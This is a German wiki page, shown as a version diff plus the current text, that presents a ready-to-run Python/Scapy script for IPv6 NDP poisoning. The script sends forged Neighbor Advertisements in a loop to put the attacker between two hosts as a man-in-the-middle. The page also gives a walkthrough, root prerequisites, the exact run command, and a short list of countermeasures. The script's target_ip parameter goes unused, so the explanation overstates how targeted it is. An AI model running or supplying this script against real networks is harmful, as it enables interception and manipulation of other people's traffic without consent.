IPv6 NDP Spoofing mit scapy: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „= NDP Poisoning mit Scapy = == Einleitung == NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Po…“) |
|||
| Zeile 2: | Zeile 2: | ||
== Einleitung == | == Einleitung == | ||
| − | NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. | + | NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. Das Skript ermöglicht Man-in-the-Middle-Angriffe zwischen zwei IPv6-Hosts im gleichen Netzwerksegment. |
== Python Script == | == Python Script == | ||
| Zeile 36: | Zeile 36: | ||
</pre> | </pre> | ||
| − | == Erklärung == | + | == Detaillierte Erklärung == |
| − | Das | + | |
| + | === Funktionsweise === | ||
| + | Das Skript sendet kontinuierlich gefälschte NDP (Neighbor Discovery Protocol) Neighbor Advertisement Pakete: | ||
| + | * Es sagt Host1, dass die MAC-Adresse von Host2 der eigenen MAC-Adresse entspricht | ||
| + | * Es sagt Host2, dass die MAC-Adresse von Host1 der eigenen MAC-Adresse entspricht | ||
| + | * Dadurch wird der gesamte Verkehr zwischen Host1 und Host2 über den Angreifer umgeleitet | ||
| + | |||
| + | === Code-Analyse === | ||
| + | '''Importe:''' | ||
| + | * Scapy: Framework zur Paketmanipulation | ||
| + | * ICMPv6ND_NA: NDP Neighbor Advertisement | ||
| + | * ICMPv6NDOptDstLLAddr: Option für Link-Layer-Adresse | ||
| + | |||
| + | '''Paketaufbau:''' | ||
| + | * Ethernet-Layer: Broadcast an alle Hosts im Netzwerk | ||
| + | * IPv6-Layer: Gefälschte Quell-IP (spoof_ip) an Multicast-Adresse ff02::1 | ||
| + | * ICMPv6ND_NA: Neighbor Advertisement mit Ziel-IP und R-Flag=0 (kein Router) | ||
| + | * ICMPv6NDOptDstLLAddr: Enthält die eigene MAC-Adresse als gefälschte Ziel-MAC | ||
| + | |||
| + | === Voraussetzungen === | ||
| + | * Python 3 und Scapy müssen installiert sein | ||
| + | * Root-Rechte für RAW Socket Zugriff erforderlich | ||
| + | * Beide Ziel-Hosts müssen im selben IPv6-Subnetz erreichbar sein | ||
| + | |||
| + | === Ausführung === | ||
| + | <pre> | ||
| + | sudo python3 ndp_poison.py | ||
| + | </pre> | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | * Verwendung von SEND (Secure Neighbor Discovery) | ||
| + | * NDP Monitoring Tools | ||
| + | * IPv6 RA Guard | ||
| + | * Statische NDP Einträge | ||
Aktuelle Version vom 28. Oktober 2025, 17:47 Uhr
NDP Poisoning mit Scapy
Einleitung
NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. Das Skript ermöglicht Man-in-the-Middle-Angriffe zwischen zwei IPv6-Hosts im gleichen Netzwerksegment.
Python Script
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_NA, ICMPv6NDOptDstLLAddr
import time
interface = "eth0"
host1 = "2003:a:32a:1799::5:1"
host2 = "2003:a:32a:1799::5:2"
my_mac = get_if_hwaddr(interface)
def ndp_spoof(target_ip, spoof_ip, iface):
# Sende eine Neighbor Advertisement, die behauptet, dass spoof_ip bei my_mac ist
pkt = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
IPv6(src=spoof_ip, dst="ff02::1") / \
ICMPv6ND_NA(tgt=spoof_ip, R=0) / \
ICMPv6NDOptDstLLAddr(lladdr=my_mac)
sendp(pkt, iface=iface, verbose=0)
print("Starting NDP spoofing... Press Ctrl+C to stop.")
try:
while True:
# Vergifte Host1: Sage, dass Host2 bei uns ist
ndp_spoof(host1, host2, interface)
# Vergifte Host2: Sage, dass Host1 bei uns ist
ndp_spoof(host2, host1, interface)
time.sleep(2)
except KeyboardInterrupt:
print("\nStopping NDP spoofing.")
Detaillierte Erklärung
Funktionsweise
Das Skript sendet kontinuierlich gefälschte NDP (Neighbor Discovery Protocol) Neighbor Advertisement Pakete:
- Es sagt Host1, dass die MAC-Adresse von Host2 der eigenen MAC-Adresse entspricht
- Es sagt Host2, dass die MAC-Adresse von Host1 der eigenen MAC-Adresse entspricht
- Dadurch wird der gesamte Verkehr zwischen Host1 und Host2 über den Angreifer umgeleitet
Code-Analyse
Importe:
- Scapy: Framework zur Paketmanipulation
- ICMPv6ND_NA: NDP Neighbor Advertisement
- ICMPv6NDOptDstLLAddr: Option für Link-Layer-Adresse
Paketaufbau:
- Ethernet-Layer: Broadcast an alle Hosts im Netzwerk
- IPv6-Layer: Gefälschte Quell-IP (spoof_ip) an Multicast-Adresse ff02::1
- ICMPv6ND_NA: Neighbor Advertisement mit Ziel-IP und R-Flag=0 (kein Router)
- ICMPv6NDOptDstLLAddr: Enthält die eigene MAC-Adresse als gefälschte Ziel-MAC
Voraussetzungen
- Python 3 und Scapy müssen installiert sein
- Root-Rechte für RAW Socket Zugriff erforderlich
- Beide Ziel-Hosts müssen im selben IPv6-Subnetz erreichbar sein
Ausführung
sudo python3 ndp_poison.py
Gegenmaßnahmen
- Verwendung von SEND (Secure Neighbor Discovery)
- NDP Monitoring Tools
- IPv6 RA Guard
- Statische NDP Einträge